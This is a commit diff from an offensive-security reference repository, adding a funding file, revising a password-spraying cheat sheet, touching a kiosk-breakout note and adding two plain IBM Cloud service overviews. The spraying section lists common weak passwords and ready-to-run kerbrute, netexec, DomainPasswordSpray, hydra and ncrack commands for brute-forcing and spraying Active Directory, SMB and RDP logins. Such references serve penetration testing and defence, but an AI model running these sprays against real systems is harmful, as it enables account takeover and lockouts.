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Hubert 'hubertf' Feyrer ea6111016d
Merge 9a83ac7fb5 into 35e5d426b0 2024-11-01 13:18:15 +01:00
Swissky 35e5d426b0 Pwd spraying update 2024-11-01 13:17:49 +01:00
Swissky c2f815f5b0
Merge pull request #20 from nidhi8404/main
added information about IBM Cloud
2024-11-01 12:57:30 +01:00
Swissky 5de0d56175 Adding FUNDING.yml 2024-10-31 23:09:32 +01:00
Nidhi Shinde c8e78f4c82
Create ibm-cloud-object-storage.md 2024-10-08 02:45:19 +05:30
Nidhi Shinde 7ffd929ec1
Create ibm-cloud-databases.md 2024-10-08 02:29:56 +05:30
hubertf 9a83ac7fb5 Add example image for MSPAINT.exe cmd shell 2024-08-07 23:56:33 +02:00
7 changed files with 297 additions and 50 deletions

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.github/FUNDING.yml vendored Normal file
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# These are supported funding model platforms
github: swisskyrepo
ko_fi: swissky
custom: https://www.buymeacoffee.com/swissky

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# Hash - Pass-the-Hash
# Hash - Pass the Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that werent the built-in RID 500.

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Most of the time the best passwords to spray are :
- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
- `Welcome1`/`Welcome01`
- $Companyname1 :`$Microsoft1`
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
- Passwords: `P@ssw0rd01`, `Password123`, `Password1`,
- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz`
- $Companyname1:`$Microsoft1`
- SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`)
- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0`
## Kerberos pre-auth bruteforcing
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
* Username bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
* Password bruteforce
```powershell
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
* Password spray
```powershell
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```
:warning: be careful with the account lockout !
## Spray a pre-generated passwords list
* Using `netexec` and `mp64` to generate passwords and spray them against SMB services on the network.
* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
```powershell
netexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
nxc smb targets.txt -u Administrator -p Password123 -d domain.local
nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
nxc ssh targets.txt -u Administrator -p Password123
nxc vnc targets.txt -u Administrator -p Password123
nxc ftp targets.txt -u Administrator -p Password123
nxc nfs targets.txt -u Administrator -p Password123
```
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
* Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule
```powershell
nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
```
* Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain.
```powershell
# https://github.com/dafthack/DomainPasswordSpray
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
```
* Using `SMBAutoBrute`.
* Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1).
```powershell
Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
```
## Spray passwords against the RDP service
* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
```powershell
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
## BadPwdCount attribute
> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown.
```powershell
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
```
```
## Kerberos pre-auth bruteforcing
Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing.
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
* Username bruteforce
```powershell
./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
```
* Password bruteforce
```powershell
./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
```
* Password spray
```powershell
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
```

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```
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
* Download: >>> ![](./escape-breakout-mspaint.bmp) <<<
## Sticky Keys

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# IBM Cloud Managed Database Services
IBM Cloud offers a variety of managed database services that allow organizations to easily deploy, manage, and scale databases without the operational overhead. These services ensure high availability, security, and performance, catering to a wide range of application requirements.
## Supported Database Engines
### 1. PostgreSQL
- **Description**: PostgreSQL is an open-source relational database known for its robustness, extensibility, and SQL compliance. It supports advanced data types and offers features like complex queries, ACID compliance, and full-text search.
- **Key Features**:
- Automated backups and recovery
- High availability with clustering options
- Scale horizontally and vertically with ease
- Support for JSON and unstructured data
- Advanced security features including encryption
- **Use Cases**:
- Web applications
- Data analytics
- Geospatial data applications
- E-commerce platforms
#### Connecting to PostgreSQL
You can connect to a PostgreSQL database using various programming languages. Here's an example in Python using the `psycopg2` library.
```python
import psycopg2
# Establishing a connection to the PostgreSQL database
conn = psycopg2.connect(
dbname="your_database_name",
user="your_username",
password="your_password",
host="your_host",
port="your_port"
)
cursor = conn.cursor()
# Example of a simple query
cursor.execute("SELECT * FROM your_table;")
records = cursor.fetchall()
print(records)
# Closing the connection
cursor.close()
conn.close()
```
### 2. MongoDB
- **Description**: MongoDB is a leading NoSQL database that provides a flexible data model, enabling developers to work with unstructured data and large volumes of data. It uses a document-oriented data model and is designed for scalability and performance.
- **Key Features**:
- Automatic sharding for horizontal scaling
- Built-in replication for high availability
- Rich querying capabilities and indexing options
- Full-text search and aggregation framework
- Flexible schema design
- **Use Cases**:
- Content management systems
- Real-time analytics
- Internet of Things (IoT) applications
- Mobile applications
#### Connecting to MongoDB
You can connect to MongoDB using various programming languages. Here's an example in JavaScript using the mongodb library.
```javascript
const { MongoClient } = require('mongodb');
// Connection URI
const uri = "mongodb://your_username:your_password@your_host:your_port/your_database";
// Create a new MongoClient
const client = new MongoClient(uri);
async function run() {
try {
// Connect to the MongoDB cluster
await client.connect();
// Access the database
const database = client.db('your_database');
const collection = database.collection('your_collection');
// Example of a simple query
const query = { name: "John Doe" };
const user = await collection.findOne(query);
console.log(user);
} finally {
// Ensures that the client will close when you finish/error
await client.close();
}
}
run().catch(console.dir);
```
## Benefits of Using IBM Cloud Managed Database Services
- **Automated Management**: Reduce operational overhead with automated backups, scaling, and updates.
- **High Availability**: Built-in redundancy and failover mechanisms ensure uptime and data availability.
- **Security**: Comprehensive security features protect your data with encryption, access controls, and compliance support.
- **Scalability**: Easily scale your database resources up or down based on application needs.
- **Performance Monitoring**: Built-in monitoring and alerting tools provide insights into database performance and health.
## Getting Started
To begin using IBM Cloud Managed Database services, follow these steps:
1. **Sign Up**: Create an IBM Cloud account [here](https://cloud.ibm.com/registration).
2. **Select Database Service**: Choose the managed database service you need (PostgreSQL, MongoDB, etc.).
3. **Configure Your Database**: Set up your database parameters, including region, storage size, and instance type.
4. **Deploy**: Launch your database instance with a few clicks.
5. **Connect**: Use the provided connection string to connect your applications to the database.
## Conclusion
IBM Cloud's managed database services provide a reliable and efficient way to manage your database needs. With support for leading databases like PostgreSQL and MongoDB, organizations can focus on building innovative applications while leveraging IBM's infrastructure and expertise.
## Additional Resources
- [IBM Cloud Databases Documentation](https://cloud.ibm.com/docs/databases?code=cloud)
- [IBM Cloud PostgreSQL Documentation](https://cloud.ibm.com/docs/databases?code=postgres)
- [IBM Cloud MongoDB Documentation](https://cloud.ibm.com/docs/databases?code=mongo)

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# IBM Cloud Object Storage
IBM Cloud Object Storage is a highly scalable, secure, and durable cloud storage service designed for storing and accessing unstructured data like images, videos, backups, and documents. With the ability to scale seamlessly based on the data volume, IBM Cloud Object Storage is ideal for handling large-scale data storage needs, such as archiving, backup, and modern applications like AI and machine learning workloads.
## Key Features
### 1. **Scalability**
- **Dynamic Scaling**: IBM Cloud Object Storage can grow dynamically with your data needs, ensuring you never run out of storage space. Theres no need for pre-provisioning or capacity planning, as it scales automatically based on demand.
- **No Size Limits**: Store an unlimited amount of data, from kilobytes to petabytes, without constraints.
### 2. **High Durability and Availability**
- **Redundancy**: Data is automatically distributed across multiple regions and availability zones to ensure that it remains available and protected, even in the event of failures.
- **99.999999999% Durability (11 nines)**: IBM Cloud Object Storage provides enterprise-grade durability, meaning that your data is safe and recoverable.
### 3. **Flexible Storage Classes**
IBM Cloud Object Storage offers multiple storage classes, allowing you to choose the right balance between performance and cost:
- **Standard**: For frequently accessed data, providing high performance and low latency.
- **Vault**: For infrequently accessed data with lower storage costs.
- **Cold Vault**: For long-term storage of rarely accessed data, such as archives.
- **Smart Tier**: Automatically optimizes storage costs by tiering objects based on access patterns.
### 4. **Secure and Compliant**
- **Encryption**: Data is encrypted at rest and in transit using robust encryption standards.
- **Access Controls**: Fine-grained access policies using IBM Identity and Access Management (IAM) allow you to control who can access your data.
- **Compliance**: Meets a wide range of industry standards and regulatory requirements, including GDPR, HIPAA, and ISO certifications.
### 5. **Cost-Effective**
- **Pay-as-You-Go**: With IBM Cloud Object Storage, you only pay for the storage and features you use, making it cost-effective for a variety of workloads.
- **Data Lifecycle Policies**: Automate data movement between storage classes to optimize costs over time based on data access patterns.
### 6. **Global Accessibility**
- **Multi-Regional Replication**: Distribute your data across multiple regions for greater accessibility and redundancy.
- **Low Latency**: Access your data with minimal latency, no matter where your users or applications are located globally.
### 7. **Integration with IBM Cloud Services**
IBM Cloud Object Storage integrates seamlessly with a wide range of IBM Cloud services, including:
- **IBM Watson AI**: Store and manage data used in AI and machine learning workloads.
- **IBM Cloud Functions**: Use serverless computing to trigger actions when new objects are uploaded.
- **IBM Kubernetes Service**: Persistent storage for containers and microservices applications.
## Use Cases
1. **Backup and Archiving**:
- IBM Cloud Object Storage is ideal for long-term storage of backups and archived data due to its durability and cost-efficient pricing models. Data lifecycle policies automate the movement of less-frequently accessed data to lower-cost storage classes like Vault and Cold Vault.
2. **Content Delivery**:
- Serve media files like images, videos, and documents to global users with minimal latency using IBM Cloud Object Storages multi-regional replication and global accessibility.
3. **Big Data and Analytics**:
- Store large datasets and logs for analytics applications. IBM Cloud Object Storage can handle vast amounts of data, which can be processed using IBM analytics services or machine learning models.
4. **Disaster Recovery**:
- Ensure business continuity by storing critical data redundantly across multiple locations, allowing you to recover from disasters or data loss events.
5. **AI and Machine Learning**:
- Store and manage training datasets for machine learning and AI applications. IBM Cloud Object Storage integrates directly with IBM Watson and other AI services, providing scalable storage for vast datasets.
## Code Example: Uploading and Retrieving Data
Heres an example using Python and the IBM Cloud SDK to upload and retrieve an object from IBM Cloud Object Storage.
### 1. **Installation**:
Install the IBM Cloud Object Storage SDK for Python:
```bash
pip install ibm-cos-sdk
```
### 2. **Uploading an Object**:
```python
import ibm_boto3
from ibm_botocore.client import Config
# Initialize the client
cos = ibm_boto3.client('s3',
ibm_api_key_id='your_api_key',
ibm_service_instance_id='your_service_instance_id',
config=Config(signature_version='oauth'),
endpoint_url='https://s3.us.cloud-object-storage.appdomain.cloud')
# Upload a file
cos.upload_file(Filename='example.txt', Bucket='your_bucket_name', Key='example.txt')
print('File uploaded successfully.')
```
### 3. **Retrieving an Object**:
```python
# Download an object
cos.download_file(Bucket='your_bucket_name', Key='example.txt', Filename='downloaded_example.txt')
print('File downloaded successfully.')
```
### Configuring IBM Cloud Object Storage
To start using IBM Cloud Object Storage, follow these steps:
1. **Sign Up**: Create an IBM Cloud account [here](https://cloud.ibm.com/registration).
2. **Create Object Storage**: In the IBM Cloud console, navigate to **Catalog** > **Storage** > **Object Storage**, and follow the steps to create an instance.
3. **Create Buckets**: After creating an instance, you can create storage containers (buckets) to store your objects. Buckets are where data is logically stored.
4. **Manage Access**: Define access policies using IBM IAM for your Object Storage buckets.
5. **Connect and Use**: Use the provided API keys and endpoints to connect to your Object Storage instance and manage your data.
## Conclusion
IBM Cloud Object Storage offers a highly scalable, durable, and cost-effective storage solution for various types of workloads, from simple backups to complex AI and big data applications. With features like lifecycle management, security, and integration with other IBM Cloud services, its a flexible choice for any organization looking to manage unstructured data efficiently.